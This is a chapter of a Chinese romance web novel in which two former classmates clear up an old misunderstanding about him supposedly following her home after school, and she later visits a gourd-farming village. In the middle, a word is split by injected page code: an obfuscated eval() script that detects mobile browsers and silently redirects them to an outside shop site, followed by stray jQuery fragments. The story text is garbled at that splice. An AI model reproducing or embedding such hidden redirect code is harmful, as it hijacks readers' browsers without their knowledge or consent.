第八章
郑观颐一滞,将游韧那句话消化到一半,还没完全品出味来,就被另一件事猛地攫住了注意力。
她表情一变,脱口而出:“你一直知道?”
游韧看着她,没有否认。
郑观颐愣在原地。飘零的思绪被夜风一带,恍然回到高一那年。
西城高中的晚自习结束,几乎已经十点。郑观颐那会儿学习差,屡屡被老师留下单独教育。每次出来,无论住校生还是走读生,都已经散得差不多了。
她蹬着自行车从空无一人的车库出去,每次刚一出校门,游韧立刻就跟了上来。
她骑快,他也骑快;她停,他也停。隔着不远不近的一段距离,像一片甩不掉的影子。
同学顺路是寻常事,可郑观颐找老师问过,说他家住城西,他们一东一西根本不顺路。
她每次停车质问,他都站得远远的不理她。她气不过,本想直接去他班里找他对峙,被吴斐拦住了。理由很简单:游韧在学校太扎眼了,她这样无凭无据地闹过去,很容易成为全校女生的公敌。
郑观颐想了想,觉得有道理,只能先憋着。
可憋归憋,她从那以后就开始绕着游韧走。然而没什么用,几乎每晚她被留堂出校门,游韧就跟等着她似的,立刻跟上来。
她实在气不过。后来,她把一个刚跟游韧告白过的女生堵在角落,一脸认真地告诫对方:“游韧是个跟踪狂,你千万别喜欢他。”
背后说人坏话这种事,郑观颐只干过那一次。因为第二天,游韧就出国读书了。
她以为这件事永远不会传到游韧耳朵里。毕竟她从没想过这辈子还会再遇见他。可没想到,他居然是她这次项目的财神爷。
所以当他下午在车上提醒她之后,她的第一反应就是心虚。
她拼命说服自己,他不知道,他不会知道。可那点心虚还是让她没敢当众认下“同学”这层关系——掩耳盗铃地以为,只要她不认,他们就可以当作全无旧账。
可游韧此刻站在她面前,摆明了他不光知道,还很在意。
气氛一下变得更尴尬了。
但尴尬的显然只有她。
游韧如他名字那般,游刃有余。
郑观颐无比气恼,却不知该恼谁,只能在心里把吴斐骂了个遍——改天见到她儿子,绝对不给买零食!
几秒后,她抬手掩在嘴边,不自然地咳了一声,眼神躲闪,嘴硬道:“我没有因为这件事,躲着你。”
她声音很轻,轻得像是说给自己听的。
可游韧听见了。他微微俯下身,视线和她平齐,带着那股淡淡的、半熟的苦味,把她脸上的闪躲看了个正着。
“什么?”他看着她说。
距离骤然拉近。郑观颐怔怔看着他,目光落在他左眼角下方那颗很浅的泪痣上。
曾经有女生这样形容游韧这颗泪痣——多情,勾人,天生招桃花。从前她只觉得浮夸,此刻才信了。
靠得太近了。郑观颐下意识想往后退一点,可到底没动,只低声重复:“没躲着你。”
这话出口,游韧眼底那点沉沉的情绪忽然散了,嘴角极轻地勾起来:“那为什么不认?”
郑观颐飞快看他一眼就躲开了视线,有些心虚地解释:“我们只是隔壁班啊,本来就不算太熟。如果突然说认同学,你要是觉得我是为了工作胡乱攀关系怎么办。”
一口气说完,自己却都觉得这个借口站不住,不熟也是同学啊。
但游韧没拆穿她,只看着她,语气轻松:“看来郑同学对我的偏见很深。”
“啊?”郑观颐看向他。
他眼底带着浅浅的笑,像是故意提醒她——前脚把他当跟踪狂,后脚又觉得他会因为私人关系影响公事。
郑观颐立刻道:“我没那个意思。”
游韧“嗯”了一声,慢悠悠直起身:“同学是同学,同事是同事。虽然不是同一件事,但合在一起,也不一定是坏事。”
这话倒也没错。在这种四线小城,很多事本来就是靠关系推进的。
郑观颐朝他点点头,笑道:“同学加同事,确实比单纯甲乙双方好办事。”
游韧看了她一眼,没再解释。
可一码归一码,跟踪狂那件事,她觉得还是得说清楚。
刚下楼时,她忽然想到一件事——葫游堂后面有住处,离学校也近。他高中会不会下了晚自习就回这里?如果是,那他根本不需要尾随她。
想到这里,郑观颐动作一顿,顿感内疚。
她沉默了几秒,到底还是先道了歉:“乱说你尾随我那件事,是我不对。”她顿了顿,“但那件事也不能完全怪我吧。那么黑,你一声不响跟在我后头,我问你你也不说,换谁都会多想。”
后面的话,她越说声音越小,越说越没底气。
游韧起初还安静听着,听到最后,竟没忍住笑出了声。
郑观颐抬头看他。
这人笑起来是真的好看,嘴角边甚至有一个极浅的梨涡。泪痣被笑意藏住,眼里藏着她看不懂的喜悦。
他笑了几声,忽然停住,看着她问:“如果,我是真的尾随你呢?”
郑观颐一愣。
游韧看着她,正好开口,就听她说:“游同学,这个玩笑很假。”
“......哪里假?”他问。
“你看起来就不是那种人。”
“哦?”游韧眉梢微挑,“郑同学对我的改观,竟来得如此之快。”
当然快。意识到极有可能是自己误会了他之后,郑观颐恨不得双手合十给他道歉。可那样太夸张,反倒像刻意讨好。她弯了弯眼睛:“那当然是游同学为人正派。”
游韧看着她,没拆穿,过了几秒才说:“那我们算扯平了吗?”
郑观颐知道他指的是会上针对她的事。她本想说那是甲乙双方正常的方案交流,不算针对。可嘴角却不受控地跟着他翘了翘,她歪了歪头:“不算。”
“嗯?”游韧眉尾一动。
“等我把第二版方案做到完美,就算扯平了。”郑观颐把手背到身后,语气里带着一点自己都没察觉的轻快。
游韧沉默了一下:“还真是热爱工作。”
郑观颐还是笑:“当然了,不能给老同学丢脸。”
听到老同学三个字,游韧眼里闪过一丝惊喜。可随即,那点光又淡了下来,而后没再接话。
两个人就这么安静地站了片刻。夜色渐深,立秋之后,西城的晚风有了点凉意。游韧出来得匆忙,没带外套,他先开口:“上去吧。”
她却像是不习惯先走,说:“我先看你走。”
说着,她往旁边让了让,示意他往车的方向去。
游韧看了她一眼,没再推辞,走到车边。
她抢在他前面去拉车门。游韧的手先一步搭在车把手上,两人的手指忽然碰到一起,皮肤贴着皮肤,像冰在火上擦了一下。
游韧指尖一顿。
她飞快地把手收回去,背到身后,往后退了半步。动作自然得像是处理一次再寻常不过的工作上的意外,脸上甚至连多余的表情都没有。
游韧看在眼里,忽然想起一个同学转述的她。
那同学在上海工作,曾在一次晚宴上远远见过郑观颐。
他说,如今的郑观颐整个人都已脱胎换骨,应对那种场合游刃有余。同学信誓旦旦地说,没有郑观颐办不周到的事,没有郑观颐拿不下的客户,她现在就是个人精。
可游韧记得的郑观颐,不是那样的。
从前的郑观颐恣意张扬,可以完全无视别人的目光和评价。
游韧收回视线,坐进车里,降下车窗,看着站在外头、嘴角还挂着得体微笑的人。他心口像被什么揪了一下。那些话几乎要脱口而出,最后被压成一句:
“很高兴再见到你,郑观颐。”
她眼睛弯了弯,回他:“我也是。游韧。”
她朝他挥挥手:“回去小心开车。”
游韧还想再说什么,到底没说,只应了一声“嗯”,踩下油门。
车子缓缓驶离。
郑观颐还站在原地,保持着职业素养,目送他的车离开。
游韧握着方向盘的手指慢慢收紧。
如果当年他没离开西城,如果他能早点回国,如果……
可惜,没有如果。
但他现在回来了。
也不再需要任何如果了。
***
西城有很成熟的葫芦产业,从种植到加工,再到销售,形成了一条完整的链条。
次
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17943367|214005||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
日,郑观颐和林晨去了趟当地的“葫芦之乡”。
八月中的葫芦还没大批成熟,但有些种植户已经开了棚。进门的马路两侧,是望不到头的葫芦小摊位,奇形怪状的葫芦琳琅满目地摆在各自的小摊上。
郑观颐原本想让李科长跟葫村的村干部提前打个招呼。可今天是周末,李科长说临时安排不了,只能改天。但她明天就要回北京,抉择之后,她还是给游韧打了电话。
虽然两人才刚相认,但游同学非常讲义气,一个电话就搞定了。葫村的村干部全体出动,热情欢迎,搞得郑观颐不像是去考察,倒像是他们盼来的大客户。
村支书边带她参观产业园,边说:“过去几年我们葫村的葫芦能在海外卖那么好,可都是游总帮的忙。”
郑观颐有些意外:“葫村海外的销路,是游总帮着牵的线?”
旁边一个年轻干部接话:“何止销路,去年有个葫芦品种改良,也是游总专门派专家来给我们做的。”
“哦对了。”年轻人想到什么,就要引着郑观颐往葫芦园走,“我们这儿还有一个品种,是拿游总名字命名的。那模样长得,跟他一样俊。”
村支书立刻瞪他:“嗳,游总是我们的恩人,不许拿游总打趣。”
年轻人吐了吐舌,拿手拍了拍嘴,忙说是自己一时高兴,口无遮拦。
一群人很快来到一个葫芦架前。
架上挂着一块木牌,上面刻着两个字——韧葫。
郑观颐看了一眼,有点明白年轻干部为什么会那么说了。
牌子后面的葫芦确实和别处不太一样,外形流畅,弧度漂亮,比寻常葫芦多了几分周正。
她从“韧葫”出来时拍了张照片,顺手发给了游韧。
上午联系时,他说自己有一整天的会。郑观颐也没等他的回复,正准备把手机收起来,竟然收到了消息。
。:【长这么大了。】
郑观颐觉得这语气跟看自家孩子长大似的,回:【是的,再两个月就成熟了。】
。:【到时候送你一个。】
紧跟着又补了两条:
【不收钱。】
【但附送穿绳。】
郑观颐看着屏幕,忍不住笑了一下。
她心想,游韧绝对是好人。当年绝对不是尾随自己,肯定是她误会他了。
她不是一个会刻意避嫌的人。工作上该找谁就找谁,从不因为私人关系就绕开谁。也正因为这样,她和大学同学、旧同事都保持着不错的关系,逢年过节发个消息,出差路过约顿饭,有事帮个忙,都做得自然。
可给游韧打电话之前,她还是犹豫了一会儿。
昨晚才刚把话说开,今天上午就找他帮忙,会不会显得太刻意?
可如果不找游韧,她今天的考察就没法顺利完成。
幸好游韧态度也不算热络,没给她任何压力。此刻的几条微信互动,反倒让她放松下来,好像他们真的只是两个相熟的老同学,彼此照应一下,理所当然。
本来就是同学。从前不熟,甚至有些误会。但以后好好相处就好了。
郑观颐如此想完就没什么心理负担了,她把手机收起来,继续参观葫芦园。
不是旺季,来买卖葫芦的人不多,基本都是附近的散户。郑观颐和林晨在后面慢慢溜达了一圈,一直到下午四点多,便准备回城。
葫村虽然有名,但到底是乡下,不好打车。
村干部说要送,被郑观颐拒绝了,车肯定打得着,只是慢点而已。然而两人站在路边等了十来分钟,居然一辆空车都打到。郑观颐正准备回去找村里的人帮忙,一辆黑色的车缓缓停到她们面前。
郑观颐一怵。
不知道为什么,她心里竟冒出一个念头——不会是游韧从车上下来吧?
还好,车门打开,下来的是一个面生的男人。男人客客气气地走到郑观颐面前:“郑总监,游总让我来接您。”
旁边,原本正在摆弄刚买的葫芦的林晨,动作瞬间停住,猛地抬头看向她的郑总监。
只见被客户再刁难都能泰然自若的人,此刻竟是一副说惊喜不惊喜,说惊吓不惊吓的诡异模样。
哦。
林晨在心里猛拍了一下大腿。
她果然说对了,这俩人绝对不清白!